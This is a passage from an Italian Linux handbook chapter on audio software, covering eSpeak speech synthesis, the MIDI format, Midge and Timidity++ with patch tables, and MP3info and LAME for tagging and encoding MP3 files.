Come si vede, l'opzione '**--voices**' consente di avere un elenco di ciò che è disponibile. Nel caso della lingua inglese, la scelta è interessante: tra le altre cose è disponibile anche un tono femminile:

$ **espeak -v en-f "My dear, I love you so much!"** [*Invio*]

35.6.1.2 Modifica dell'intonazione e della cadenza

A parte la scelta della lingua, ci sono diverse opzioni che possono servire per migliorare la comprensibilità del testo letto. La cosa forse più importante è la velocità di lettura, che si controlla con l'opzione '**-s**' (*speed*):

$ **espeak -s 120 -v it "Sostituisci il dischetto!"** [*Invio*]

L'argomento dell'opzione rappresenta la quantità di parole al minuto. Essendo il valore predefinito pari a 160, in questo esempio si ottiene una lettura leggermente più lenta del solito.

Oltre alla velocità di lettura, anche il tono di voce (l'intonazione) può essere regolato, questa volta con l'opzione '**-p**' (*pitch*), che attende un argomento composto da un numero che va da 0 a 99: più è grande, più acuto è il tono di voce. Il tono predefinito corrisponde al valore 50, pertanto, l'esempio seguente sintetizza il testo con il tono più acuto possibile:

$ **espeak -p 99 -v it "Mamma, me lo compri?"** [*Invio*]

35.6.1.3 Controllo dell'input e dell'output

In condizioni normali, eSpeak legge un testo puro e semplice, sintetizzandolo attraverso l'adattatore audio. Diversamente, con l'opzione '**-m**' (*markup*), che si usa senza argomenti, è possibile fornire anche un file HTML, come si vede nell'esempio seguente:

$ **espeak -v it -m -f testo.html** [*Invio*]

È anche possibile produrre un file WAV-RIFF, senza emettere alcun suono attraverso l'adattatore audio, con l'opzione '**-w**' (*wave*). Nell'esempio seguente il file '`testo.txt`' viene sintetizzato nel file '`testo.wav`':

$ **espeak -v it -f testo.txt -w testo.wav** [*Invio*]

35.7 MIDI

MIDI sta per *Music instrument digital interface*, ovvero un'interfaccia digitale per gli strumenti musicali. Semplificando molto le cose, l'idea alla base di MIDI è quella di avere una tastiera musicale collegata a un generatore di suoni. Il generatore di suoni può essere un generatore di forme d'onda, con più o meno armoniche, oppure un riproduttore di modelli campionati, ovvero suoni più o meno reali, memorizzati (campionati) in precedenza. Nel secondo caso, i modelli di suoni devono poter essere riprodotti a tonalità differenti.

Il generatore di suoni di un sistema MIDI può essere comandato direttamente da una tastiera (o da un altro strumento elettronico adeguato), oppure da un programma che legge un file: di solito un file in formato «MIDI». Un file del genere contiene quindi una sorta di spartito elettronico, in cui sono indicati gli strumenti e le note che questi devono suonare: è competenza del generatore di suoni il riprodurre gli strumenti nel modo migliore possibile.

35.7.1 File MIDI

Un file MIDI contiene tutte le informazioni necessarie a ripetere un'esecuzione elettronica, attraverso un generatore di suoni adeguato. Le informazioni che contiene un file MIDI sono simili, concettualmente, a quelle di uno spartito musicale, con la differenza sostanziale che la definizione della durata delle note può essere più libera.

Una semibiscroma, che dovrebbe essere la nota più breve, ha una durata di un sessantaquattresimo, mentre in un file MIDI si possono annotare anche intervalli più piccoli, oltre al fatto che le durate delle note possono non essere così esatte come si scrive in uno spartito classico.

Un file MIDI (*MIDI standard file format 1*) può contenere un massimo di 16 canali, ognuno dei quali si può dividere in tracce. Tuttavia, le tracce di uno stesso canale possono contenere informazioni riferite a un solo strumento (anche se suonato simultaneamente), pertanto si possono gestire un massimo di 16 strumenti differenti in modo simultaneo.

La figura 35.78, ottenuta da un programma grafico per l'analisi e l'esecuzione di file MIDI, dovrebbe dare l'idea di come questi file sono organizzati. Si può notare lo schema quadrettato che divide le ottave in dodici semitoni (come suggerisce la schematizzazione di una tastiera sul bordo sinistro) e in battute (si vedono le prime tre battute), all'interno del quale, l'andamento dei canali viene evidenziato con colori differenti.

Figura 35.78. Visualizzazione grafica di un'esecuzione MIDI attraverso il programma Xgmc.

A proposito di file MIDI, si utilizzano dei termini inglesi che a prima vista possono risultare abbastanza misteriosi. La tabella seguente cerca di spiegare a cosa si riferiscono alcuni di questi termini.

Termine	Traduzione	Descrizione
resolution	risoluzione	La frequenza della base dei tempi MIDI abbinata a una durata di un quarto (semiminima). In pratica, stabilisce la durata minima di una nota che può essere rappresentata in frazioni di $1/n$ di semiminima rispetto alla battuta. Il valore che si utilizza normalmente è 96, che consente di rappresentare note di una lunghezza pari a un sesto di semibiscroma.
time signature	tempo	Il tempo, espresso come frazione.
tempo		La velocità di esecuzione, intesa come quantità di battute per minuto.
pitch	tono	L'altezza della nota.
bend		Consente di alterare il tono di una nota. Il valore che può avere va da 0 a 127, dove lo zero rappresenta il tono più basso, mentre 127 il tono più alto, così 64 rappresenta il tono normale.
pan	bilanciamento	Definisce il bilanciamento stereofonico di una o di più note. Si tratta di un valore da 0 a 127, dove lo zero rappresenta la sinistra e 127 la destra, avendo così il centro a 64.
patch		Lo strumento o il tipo di suono abbinato a una serie di note. Si tratta normalmente di un numero, che va da 1 a 128.
channel	canale	Il canale di registrazione che può contenere un solo strumento alla volta, anche se su più tracce simultanee. I valori vanno da 1 a 16.
reverb	riverbero	La profondità del riverbero. Si tratta di un valore che si abbina alla traccia, attribuendo un numero intero da 0 a 127.
volume	volume	Definisce il volume di una traccia, con valori da 0 a 127.

Un file MIDI può essere ottenuto da un'esecuzione manuale, attraverso una tastiera MIDI, collegata a un'interfaccia adatta assieme al programma relativo, oppure attraverso la scrittura di uno spartito, o di qualcosa di simile, che viene poi convertito in un file MIDI.

Esiste un sistema di composizione tipografico per la produzione di spartiti, in grado di generare anche file MIDI, denominato LilyPond (sezione 68.2); tuttavia, nella prossima sezione viene mostrato l'uso di Midge, un programma che genera file MIDI a partire da un sorgente scritto con un proprio linguaggio, simile concettualmente a quello di LilyPond, il quale però non può produrre uno spartito tradizionale.

L'esecuzione di un file MIDI all'interno di un elaboratore richiede la disponibilità di un programma in grado di interpretarlo correttamente, per comandare un generatore di suoni. Questo generatore può essere un'apparecchiatura esterna specializzata, collegata alla scheda audio attraverso una porta speciale; può essere un sintetizzatore incorporato nella scheda audio; infine può essere un programma che genera un file audio pronto da mandare alla scheda. All'interno di questo capitolo viene presa in considerazione solo l'ultima di queste possibilità, con il programma Timidity++, che attraverso una serie di file di modelli di suoni (*patch*), è in grado di creare al volo un file in formato WAV-RIFF da mandare immediatamente alla sistema di riproduzione audio.

35.7.2 Midge

Midge[22] è un programma scritto in Perl, che si avvale del modulo MIDI-Perl,[23] in grado di generare file MIDI a partire da file sorgenti scritti secondo un proprio linguaggio, ma capace anche di trasformare un file MIDI in un sorgente facile da modificare.

Probabilmente, la funzionalità più importante di Midge sta proprio nella sua capacità di trasformare un file MIDI in qualcosa che può essere gestito come file di testo puro e semplice; diversamente, la scrittura di un sorgente Midge potrebbe essere anche troppo complessa.

$ **midi2mg -o bwv777.mg bwv777.midi** [*Invio*]

L'esempio mostra l'uso dello script '**midi2mg**' per ottenere un file sorgente a partire da un file MIDI. In questo caso si genera il sorgente '`bwv777.mg`', a partire dal file MIDI '`bwv777.midi`'. Il contenuto di questo sorgente ottenuto potrebbe essere simile all'estratto seguente:

```
# Converted from bwv777.midi
# by /usr/bin/midi2mg on Sun Jan  5 20:10:21 2003

@head {
        $title "Track 0"
}
@body {
        @channel 1 "harpsichord" {
                $attack 127
                $decay 64
                $tempo 40
                $patch 7
                $time_sig 3/9
                $key e
```

```
                /l16/r /l8/e6 d+ d c+ b5 a g+ f+ /l32/g+ a /l16/g+
                /l32/b a /l16/b /l32/g+ f+ /l16/g+ /l32/e d+
                …
                f+ /l16/g+ /l32/b a /l16/b /l32/g+ f+ /l16/g+
                /l32/b a /l16/b /l32/e6 d+ /l16/e b5 g+ e
        }
        @channel 2 "harpsichord" {
                $attack 127
                $decay 64
                $tempo 40
                $patch 7
                $time_sig 3/9
                $key e
                /l8/e4 f+ g+ a b c+5 d+ /l16/e d+ c+ b4 /l8/e5
                e4 /l3:16/r /l8/e d+ d c+ b3 a g+ f+ /l32/g+
                …
                /l32/d+ c+ /l16/d+ /l32/g+ f+ /l8/g+ a b e /l16/r
                e5 b4 g+ e b g+ e b3 g+ /l4/e /l8/e4
        }
}
```

In questo modo, si intuisce la sintassi generale del formato usato da Midge: un'intestazione definita con la sezione '**`@head{}`**', seguita da un corpo, definito dalla sezione '**`@body{}`**', che contiene la descrizione dei canali, contenuti nei blocchi '**`@channel{}`**'.

È bene precisare che ogni blocco '**`@channel{}`**' descrive in realtà una traccia, abbinata però al canale indicato per numero. In pratica, dal momento che lo strumento è lo stesso nei due canali, si potrebbero usare due tracce dello stesso canale, in questo modo:

```
@body {
        @channel 1 "harpsichord" {
                …
                …
        }
        @channel 1 "harpsichord" {
                …
                …
        }
}
```

La notazione simbolica delle note richiama il nome usato nella lingua inglese, tuttavia si rimanda alla documentazione originale per l'interpretazione corretta di questa parte del formato usato da Midge (pagina di manuale *midge(1)*).

```
                /l16/r /l8/e6 d+ d c+ b5 a g+ f+ /l32/g+ a /l16/g+
                /l32/b a /l16/b /l32/g+ f+ /l16/g+ /l32/e d+
```

Se si intende usare Midge per ritoccare dei file MIDI già disponibili, sono molto importanti alcuni parametri che vengono fissati con direttive simili all'assegnamento di variabili:

```
$parametro  valore_attributo
```

Per esempio, il parametro '**`$tempo`**' serve a definire la velocità di esecuzione, in quantità di battute per minuto. Nel caso dell'esempio mostrato, si può osservare che questa velocità (assieme anche al tempo vero e proprio, cioè la frazione che determina la lunghezza di ogni battuta) è stata definita all'interno delle direttive '**`@channel`**', mentre sarebbe più appropriata all'esterno, nella direttiva '**`@head`**', ammesso che non debba cambiare nel corso dell'esecuzione delle tracce. L'esempio seguente mostra qualche piccolo ritocco a quanto già visto sopra:

```
@head {
        $title "Johann Sebastian Bach (1685-1750) - BWV 777 - Invenzioni n. 6"
        $tempo 40
        $time_sig 3/9
}
@body {
        @channel 1 "harpsichord" {
                $attack 127
                $decay 64
                $patch 7
                $key e
                /l16/r /l8/e6 d+ d c+ b5 a g+ f+ /l32/g+ a /l16/g+
                /l32/b a /l16/b /l32/g+ f+ /l16/g+ /l32/e d+
                …
                f+ /l16/g+ /l32/b a /l16/b /l32/g+ f+ /l16/g+
                /l32/b a /l16/b /l32/e6 d+ /l16/e b5 g+ e
        }
        @channel 2 "harpsichord" {
                $attack 127
                $decay 64
                $patch 7
                $key e
                /l8/e4 f+ g+ a b c+5 d+ /l16/e d+ c+ b4 /l8/e5
                e4 /l3:16/r /l8/e d+ d c+ b3 a g+ f+ /l32/g+
                …
                /l32/d+ c+ /l16/d+ /l32/g+ f+ /l8/g+ a b e /l16/r
                e5 b4 g+ e b g+ e b3 g+ /l4/e /l8/e4
        }
}
```

La tabella 35.84 riassume alcuni parametri importanti di Midge, che possono servire per ritoccare un file MIDI già disponibile.

Tabella 35.84. Alcuni parametri nel sorgente di Midge.

Parametro	Descrizione
`$title` "*titolo_dell'esecuzione*"	Si utilizza nell'intestazione e attribuisce un titolo al file MIDI.
`$tempo` ***n***	Si utilizza nell'intestazione oppure nei blocchi delle tracce per indicare la quantità di battute per minuto.
`$time_sig` ***m/n***	Si utilizza nell'intestazione oppure nei blocchi delle tracce per indicare la frazione che esprime la lunghezza di una battuta (per esempio 3/4).
`$patch` {***n*** | ***nome***}	Si utilizza nei blocchi delle tracce per indicare il tipo di suono da utilizzare. Se si usa un nome occorre utilizzare quanto previsto espressamente da Midge (tabella 35.85).
`$volume` ***n***	Si utilizza nei blocchi delle tracce per indicare il volume della traccia. Il valore assegnato va da 1 a 127 (lo zero non viene accettato).
`$reverb` ***n***	Si utilizza nei blocchi delle tracce per indicare la profondità del riverbero. Il valore assegnato va da 0 a 127.
`$chorus` ***n***	Si utilizza nei blocchi delle tracce per indicare un effetto simile al riverbero. Il valore assegnato va da 0 a 127.
`$pan` ***n***	Si utilizza nei blocchi delle tracce per indicare il bilanciamento stereofonico. Il valore assegnato va da 0 (completamente a sinistra) a 127 (completamente a destra).

Tabella 35.85. Classificazione dei suoni secondo Midge, per l'utilizzo nel parametro '**`$patch`**'.

Numero	Nome alternativo per Midge	Denominazione completa
1	piano_grand_ac	Acoustic Grand Piano
2	piano_br	Bright Acoustic Piano
3	piano_grand_el	Electric Grand Piano
4	piano_ht	Honky-Tonk Piano
5	piano_el_1	Electric Piano 1
6	piano_el_2	Electric Piano 2
7	harpsichord	Harpsichord
8	clavinet	Clavinet
9	celesta	Celesta
10	glockenspiel	Glockenspiel
11	music_box	Music Box
12	vibraphone	Vibraphone
13	marimba	Marimba
14	xylophone	Xylophone
15	tubular_bells	Tubular Bells
16	dulcimer	Dulcimer
17	organ_dbar	Drawbar Organ
18	organ_perc	Percussive Organ
19	organ_rock	Rock Organ
20	organ_church	Church Organ
21	organ_reed	Reed Organ
22	accordian	Accordian
23	harmonica	Harmonica
24	accordian_tango	Tango Accordian
25	guitar_nylon	Nylon String Guitar
26	guitar_steel	Steel String Guitar
27	guitar_jazz	Electric Jazz Guitar

Numero	Nome alternativo per Midge	Denominazione completa
28	guitar_clean	Electric Clean Guitar
29	guitar_muted	Electric Muted Guitar
30	guitar_od	Overdriven Guitar
31	guitar_dist	Distortion Guitar
32	guitar_harm	Guitar Harmonics
33	bass_ac	Acoustic Bass
34	bass_fg	Electric Bass(finger)
35	bass_pick	Electric Bass(pick)
36	bass_fless	Fretless Bass
37	bass_slap_1	Slap Bass 1
38	bass_slap_2	Slap Bass 2
39	bass_syn_1	Synth Bass 1
40	bass_syn_2	Synth Bass 2
41	violin	Violin
42	viola	Viola
43	cello	Cello
44	contrabass	Contrabass
45	str_trem	Tremolo Strings
46	str_pizz	Pizzicato Strings
47	str_orch	Orchestral Strings
48	timpani	Timpani
49	str_ens_1	String Ensemble 1
50	str_ens_2	String Ensemble 2
51	str_syn_1	SynthStrings 1
52	str_syn_2	SynthStrings 2
53	choir_aahs	Choir Aahs
54	voice_oohs	Voice Oohs
55	voice_syn	Synth Voice
56	orch_hit	Orchestra Hit
57	trumpet	Trumpet
58	trombone	Trombone
59	tuba	Tuba
60	trumpet_muted	Muted Trumpet
61	horn_fr	French Horn
62	brass	Brass Section
63	brass_syn_1	SynthBrass 1
64	brass_syn_2	SynthBrass 2
65	sax_sop	Soprano Sax
66	sax_alt	Alto Sax
67	sax_ten	Tenor Sax
68	sax_bar	Baritone Sax
69	oboe	Oboe
70	horn_en	English Horn
71	bassoon	Bassoon
72	clarinet	Clarinet
73	piccolo	Piccolo
74	flute	Flute
75	recorder	Recorder
76	flute_pan	Pan Flute
77	bottle	Blown Bottle
78	skakuhachi	Skakuhachi
79	whistle	Whistle
80	ocarina	Ocarina
81	lead_sq	Lead 1 (square)
82	lead_saw	Lead 2 (sawtooth)

Numero	Nome alternativo per Midge	Denominazione completa
83	lead_calliope	Lead 3 (calliope)
84	lead_chiff	Lead 4 (chiff)
85	lead_charang	Lead 5 (charang)
86	lead_voice	Lead 6 (voice)
87	lead_fifth	Lead 7 (fifths)
88	lead_basslead	Lead 8 (bass+lead)
89	pad_new_age	Pad 1 (new age)
90	pad_warm	Pad 2 (warm)
91	polysynth	Pad 3 (polysynth)
92	pad_choir	Pad 4 (choir)
93	pad_bowed	Pad 5 (bowed)
94	pad_metal	Pad 6 (metallic)
95	pad_halo	Pad 7 (halo)
96	pad_sweep	Pad 8 (sweep)
97	fx_rain	FX 1 (rain)
98	fx_strack	FX 2 (soundtrack)
99	fx_crystal	FX 3 (crystal)
100	fx_atmos	FX 4 (atmosphere)
101	fx_bright	FX 5 (brightness)
102	fx_goblin	FX 6 (goblins)
103	fx_echo	FX 7 (echoes)
104	fx_scifi	FX 8 (sci-fi)
105	sitar	Sitar
106	banjo	Banjo
107	shamisen	Shamisen
108	koto	Koto
109	kalimba	Kalimba
110	bagpipe	Bagpipe
111	fiddle	Fiddle
112	shanai	Shanai
113	bell_tinkle	Tinkle Bell
114	agogo	Agogo
115	drum_steel	Steel Drums
116	woodblock	Woodblock
117	drum_taiko	Taiko Drum
118	tom_melodic	Melodic Tom
119	drum_syn	Synth Drum
120	cymbal_rev	Reverse Cymbal
121	fx_fret	Guitar Fret Noise
122	fx_breath	Breath Noise
123	fx_sea	Seashore
124	fx_tweet	Bird Tweet
125	fx_phone	Telephone Ring
126	fx_copter	Helicopter
12f	x_applause	Applause
128	fx_gun	Gunshot

La compilazione di un sorgente Midge si ottiene semplicemente con lo script '**midge**':

$ **midge bwv777.mg** [*Invio*]

In questo caso si compila il sorgente '`bwv777.mg`', ottenendo il file MIDI '`bwv777.mid`'. Volendo specificare espressamente il nome del file MIDI da generare, si potrebbe usare l'opzione '**-o**':

$ **midge -o JSBach-BWV777.midi bwv777.mg** [*Invio*]

Come si può intuire, qui si intende ottenere il file MIDI '`JSBach-BWV777.midi`'.

35.7.3 Timidity++

Timidity++[24] è un programma in grado di convertire il formato MIDI (e anche altri) in WAV-RIFF, utilizzando dei modelli di suoni (*patch*) memorizzati su file. In questo modo, attraverso Timidity++ è possibile riprodurre un file MIDI senza bisogno di un generatore di suoni esterno e senza bisogno di schede audio particolari.

Prima di mostrare il suo funzionamento è importante affrontare il problema dei modelli di suoni necessari alla conversione. I file in questione sono facili da reperire, ma può capitare che la propria distribuzione GNU non predisponga un pacchetto adeguato, oppure che questo non contenga dei modelli di suoni gradevoli. Infatti, dipende dai modelli la qualità della riproduzione di un file MIDI. Tanto per fare un esempio, se un'esecuzione prevede un clavicembalo, ma al posto di questo si sente un piano, si può percepire la melodia, ma non il suono che è stato previsto nel file MIDI; inoltre, il modello di uno strumento configurato male, potrebbe generare poi un suono «stonato», oppure a un volume sonoro non appropriato.

Generalmente, se disponibile, conviene installare la raccolta nota come Eawpatches,[25] dal momento che risulta contenere i modelli sonori migliori e configurati anche in modo accurato. Se si trova il pacchetto originale, lo si può installare dove si vuole nel file system; per esempio così:

cd /opt [*Invio*]

tar xzvf ~/eawpats12_full.tar.gz [*Invio*]

In questo modo, si ottiene l'inserimento dei file dei modelli sonori nella directory '`/opt/eawpats/`'. Successivamente occorre prendere il file di configurazione per Timidity++ e collocarlo nella posizione prevista da Timidity++ stesso. Supponendo che si tratti della directory '`/etc/`', si deve agire come mostrato di seguito:

cp /opt/eawpats/linuxconfig/timidity.cfg /etc/timidity.cfg [*Invio*]

Quindi è necessario modificare questo file ('`/etc/timidity.cfg`') in modo da raggiungere i modelli sonori appena installati. Dovrebbe essere così:

```
dir /opt/eawpats/
source gravis.cfg
source gsdrums.cfg
source gssfx.cfg
source xgmap2.cfg
```

Una volta installati questi file, si può passare a Timidity++, attraverso l'eseguibile '**`timidity`**':

```
timidity [opzioni] file...
```

Se non vengono indicate delle opzioni, i file vengono trasformati al volo e inviati al sistema di riproduzione audio.

Esistono molti modi per indicare i file da riprodurre. In particolare merita attenzione la possibilità di indicare lo standard input attraverso un trattino orizzontale ('**-**') e anche la possibilità di indicare un URI di tipo HTTP o FTP. Inoltre, se il file indicato corrisponde a un archivio compresso di un formato comune, nella maggior parte dei casi è in grado di eseguire i file contenuti al suo interno.

Tabella 35.87. Opzioni essenziali della riga di comando di '**timidity**'.

Opzione	Descrizione
`-i`*interfaccia* [*opzioni*]	Definisce l'interfaccia visiva, ovvero il modo in cui si interagisce con Timidity++. Possono essere disponibili anche delle modalità di funzionamento grafiche, a seconda di come sono stati compilati i sorgenti.
`-id` [*opzioni*]	Si avvia in modo normale, non interattivo (è la modalità di funzionamento predefinita).
`-in` [*opzioni*]	Si avvia in modo interattivo, occupando tutto lo schermo (schermo a caratteri).
`-i`*interfaccia*`s`	Riordina i file prima di iniziare l'esecuzione.
`-i`*interfaccia*`r`	Esegue i file utilizzando una sequenza casuale.
`-O`*modalità*	Questa opzione determina il tipo di conversione che si intende ottenere.
`-Od`	Converte e invia al dispositivo per la riproduzione audio (è la modalità di funzionamento predefinita).
`-Ow`	Converte in formato WAV-RIFF. Si usa normalmente in abbinamento all'opzione '**-o**'.
`-o` *file*	Invia il risultato della conversione al file indicato.

Come si vede, in condizioni normali si usa l'eseguibile '**timidity**' senza opzioni, o al massimo con '**-in**' (oppure selezionando un'altra interfaccia preferita).

35.8 Programmi per la gestione di formati audio compressi

È molto difficile ridurre un file contenente informazioni sonore. In questo contesto, di solito, quando si parla di compressione, si fa riferimento a metodi di semplificazione delle informazioni memorizzate, basati sulla percezione umana. Questa «semplificazione» si traduce in pratica in una riduzione e distorsione nei suoni riprodotti.

In generale, il formato più comune per i file audio compressi è MP3, ovvero «MPEG-1 layer 3», «MPEG-2 layer 3» o «MPEG-2.5 layer 3». Lo standard MPEG definisce il formato e la decodifica dei dati, mentre non fissa un metodo per la codifica. Sulla codifica sono state sviluppate tecniche differenti, alcune delle quali sono brevettate. A causa di questo problema, lo sviluppo di software libero in grado di generare file MP3 è limitato alla produzione in forma di sorgenti, non potendo in pratica arrivare alla distribuzione di applicativi già compilati.

A fianco di MP3, si è sviluppato in tempi più recenti anche un formato senza brevetti, denominato Vorbis, trasportato normalmente in un contenitore Ogg, noto così con il nome Ogg Vorbis (si usa normalmente l'estensione '`.ogg`' per i file), che offre prestazioni equivalenti a quelle di MP3.

In alternativa, esiste anche un formato compresso senza perdita, denominato FLAC, che eventualmente si trasporta in un contenitore Ogg (che diventa così un formato Ogg FLAC). Anche il formato FLAC è privo di brevetti ed è favorito così nell'ambito del software libero.

35.8.1 MP3info

MP3info [26] è un programma molto semplice con lo scopo di estrarre le informazioni tipiche dai file MP3, con la possibilità di modificare i dati descrittivi. Si compone dell'eseguibile '**mp3info**', che si utilizza secondo la sintassi seguente:

```
mp3info [opzioni] file_mp3...
```

Se non si indica alcuna opzione, si ottengono le informazioni sui file in forma sintetica. Tuttavia, con l'opzione '**-F**', o meglio ancora con l'opzione '**-f**', si può controllare il modo in cui tali informazioni vengono fornite.

L'opzione '**-f**' prevede un argomento composto da una stringa contenente delle sequenze di escape, che si distinguono per il fatto che iniziano con il simbolo di percentuale ('**%**'). La tabella 35.88 riporta un elenco parziale di queste sequenze di escape, escludendo in particolare quelle che rappresentano una scelta sottoposta a una condizione. Per il loro approfondimento è sufficiente leggere la poca documentazione originale.

Con alcune shell, questi simboli di percentuale potrebbero essere interpretati in modo diverso, come nel caso di Midnight Commander.

Tabella 35.88. Alcune sequenze di escape utilizzabili come argomento dell'opzione '**-f**'.

Stringa	Effetto
`%%`	'**%**'
`%t`	Titolo
`%a`	Artista
`%l`	Album
`%y`	Anno
`%c`	Commento
`%g`	Genere in forma testuale
`%#`	Genere in forma numerica
`%v`	Versione MPEG in forma numerica
`%V`	Versione MPEG in forma testuale
`%L`	Strato MPEG (*layer*) in numero romano

Stringa	Effetto
`%A`	Strato MPEG (*layer*) in numero arabo
`%C`	Protezione dagli errori (restituisce zero o uno)
`%b`	Quantità di bit utilizzati al secondo
`%F`	Frequenza di campionamento
`%M`	Modalità: mono, stereo, ecc.
`%O`	Copyright (restituisce zero o uno)
`%o`	Originale (restituisce zero o uno)
`%m`	Lunghezza espressa in minuti
`%s`	Lunghezza rimanente in secondi
`%S`	Lunghezza complessiva in secondi
`%N`	Interruzione di riga
`%f`	Nome del file, come indicato nella riga di comando
`%B`	Nome del file senza percorso
`%i`	Dimensione del file in byte

Per comprendere meglio il significato di tutto questo, l'esempio seguente consente di estrarre esattamente il nome dell'artista e il titolo della canzone (o di qualunque altra cosa si tratti), ponendo le due informazioni su righe differenti:

`$` **`mp3info -f "%a%N%t" prova.mp3`** [*Invio*]

```
Bla bla bla bla
Pinco Pallino
```

Volendo si potrebbe realizzare uno script per visualizzare tutto quello che c'è da sapere nel file, come nell'esempio seguente, in cui si può fare riferimento a un solo file alla volta:

```
#!/bin/sh

mp3info -f "file:           %f"           $1
mp3info -f "dimensione:     %i"           $1
mp3info -f "formato:        %V layer %L" $1
mp3info -f "CRC:            %C"           $1
mp3info -f "bitrate:        %b Kibit/s"  $1
mp3info -f "campionamento: %F Hz"        $1
mp3info -f "modalità:       %M"           $1
mp3info -f "durata:         %m:%s"        $1
mp3info -f "copyright:      %O"           $1
mp3info -f "originale:      %o"           $1
mp3info -f "titolo:         %t"           $1
mp3info -f "artista:        %a"           $1
mp3info -f "album:          %l"           $1
mp3info -f "anno:           %y"           $1
mp3info -f "annotazioni:    %c"           $1
mp3info -f "genere:         %# %g"        $1
```

MP3info consente anche la modifica di alcune di queste informazioni, ma ciò avviene attraverso opzioni apposite e le sequenze di escape dell'opzione '**-f**' non hanno alcun ruolo in questo contesto.

Tabella 35.91. Alcune opzioni.

Opzione	Descrizione
`-f` ***stringa_di_formato***	Mostra le informazioni secondo la stringa di formato indicata come argomento. Si utilizzano le sequenze di escape della tabella 35.88.
`-F` ***n***	Mostra le informazioni secondo un formato prestabilito, rappresentato da un numero intero positivo. Basta provare per rendersi conto di come possono essere rappresentate le informazioni in questo modo. Si tratta evidentemente di una semplificazione per chi non vuole usare l'opzione '**-f**'.
`-w`	Richiede espressamente la scrittura di informazioni aggiornate. In generale non serve indicare espressamente questa opzione, perché viene richiamata automaticamente in presenza di opzioni che implicano la modifica di qualche informazione.
`-W`	Cancella le informazioni descrittive (titolo, artista, ecc.) contenute nel file.
`-t` ***titolo***	Imposta il titolo. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'.
`-a` ***artista***	Imposta l'artista. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'.
`-l` ***album***	Imposta l'album. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'.
`-y` ***anno***	Imposta l'anno. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'.

Opzione	Descrizione
`-c` ***commento***	Imposta il commento. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'.
`-g` ***n*** `-G` ***genere_testuale***	Imposta il genere, in forma di numero o in modo testuale. L'uso di questa opzione implica automaticamente la scrittura, senza bisogno di specificare l'opzione '**-w**'. Si osservi che l'impostazione del genere in forma testuale deve avvenire usando la definizione prevista.
`-p[`***n***`]`	Elenca i generi in ordine numerico, utilizzando ***n*** colonne.

Segue la descrizione di alcuni esempi; in particolare, qui non si mostra un esempio con l'uso dell'opzione '**-f**', perché già proposto in precedenza.

- `$` **`mp3info -t "Bla bla bla" -a "Pinco Pallino" -y "2001"`** ↩
  ↪ **`-g 112 prova.mp3`** [*Invio*]

  Imposta il titolo, l'artista, l'anno e il genere (tango) nel file '`prova.mp3`'.

- `$` **`mp3info -p1`** [*Invio*]

  Mostra l'elenco dei generi in una sola colonna, secondo l'ordine numerico attribuito dallo standard.

35.8.2 LAME

LAME [27] è un progetto per la codifica in formato MP3 ed eventualmente anche in altri formati audio compressi. Il progetto produce esclusivamente del codice sorgente (compilabile facilmente) perché la distribuzione di pacchetti già compilati viene impedita di fatto dalla presenza di vari brevetti.

In un sistema GNU/Linux la compilazione di LAME avviene in modo molto semplice. Supponendo di disporre del file '`lame.tar.gz`' e di volere installare i file a partire da '`/opt/lame/`', si potrebbe procedere nel modo seguente:

`$` **`tar xzvf lame.tar.gz`** [*Invio*]

`$` **`cd lame`** [*Invio*]

`$` **`./configure --prefix=/opt/lame`** [*Invio*]

`$` **`make`** [*Invio*]

`$` **`su`** [*Invio*]

`#` **`make install`** [*Invio*]

Naturalmente, occorre poi preoccuparsi di inserire il percorso '`/opt/lame/bin/`' nella variabile di ambiente '**`PATH`**'. Si veda eventualmente quanto descritto nella sezione 7.1.

Al termine della compilazione si ottiene l'eseguibile '**`lame`**', che può essere utilizzato secondo la sintassi seguente:

```
lame [opzioni] file_in_ingresso file_in_uscita
```

In pratica, il primo argomento dopo le opzioni indica un file, solitamente in formato WAV-RIFF (salvo la specificazione di qualcosa di differente), mentre il secondo è il file MP3 che si vuole generare. Naturalmente, se si utilizza il carattere '`-`' al posto del nome dei file, si fa riferimento allo standard input e allo standard output rispettivamente.

Tabella 35.92. Alcune opzioni.

Opzione	Descrizione
`-r`	Il file in ingresso è di tipo PCM grezzo.
`-x`	Forza lo scambio dei byte in ingresso.
`-s` ***frequenza_di_campionamento***	Definisce la frequenza di campionamento in ingresso, espressa in kilohertz. Il valore predefinito è di 44,1 kHz, che si esprime come '**`44.1`**'.
`--mp1input`	Indica che il file in ingresso è di tipo «MPEG layer I».
`--mp2input`	Indica che il file in ingresso è di tipo «MPEG layer II».
`--mp3input`	Indica che il file in ingresso è di tipo «MPEG layer III».
`--ogginput`	Indica che il file in ingresso è di tipo «Ogg Vorbis».
`-m` ***modalità***	Consente di specificare la modalità di registrazione, attraverso l'indicazione di una lettera. Quelle fondamentali sono: '**`s`**' stereo; '**`j`**' stereo congiunto (predefinito); '**`m`**' mono. Le modalità di registrazione effettivamente disponibili dipendono anche dal tipo di codifica usato.
`-a`	Mescola i canali del file in ingresso per generare un file monofonico.
`--decode`	Decodifica un file MP3 generando un file WAV-RIFF. In questo modo, il primo file indicato nella riga di comando deve essere in formato MP3, mentre ciò che si genera è un file WAV-RIFF.
`-q` ***n***	Qualità della registrazione: il valore va da zero a nove, dove zero rappresenta la qualità migliore e nove quella peggiore.
`-h`	Equivale a '**`-q 2`**'.
`-f`	Equivale a '**`-q 7`**' e rappresenta in pratica la richiesta di utilizzare una compressione rapida, ma di bassa qualità.
`-c`	Attiva l'indicatore relativo al copyright.
`-o`	Indica come **non** originale.
`-p`	Aggiunge 16 bit di controllo alla fine di ogni *frame*.
`-tt` ***titolo***	Aggiunge il titolo.

Opzione	Descrizione
`-ta` ***artista***	Aggiunge l'indicazione dell'artista o degli artisti.
`-tl` ***album***	Aggiunge il titolo dell'album a cui appartiene il contenuto del file.
`-ty` ***anno***	Aggiunge l'anno.
`-tc` ***commento***	Aggiunge un commento libero.
`-tn` ***n***	Specifica il numero di traccia del CD originale, con un numero che va da 1 a 255.
`-tg` ***genere***	Specifica il genere, espresso per nome o attraverso un numero.
`--genre-list`	Elenca i generi secondo lo standard ID3. Da questo elenco si può trarre il numero da usare con l'opzione '**-tg *n***'.

Segue la descrizione di alcuni esempi.

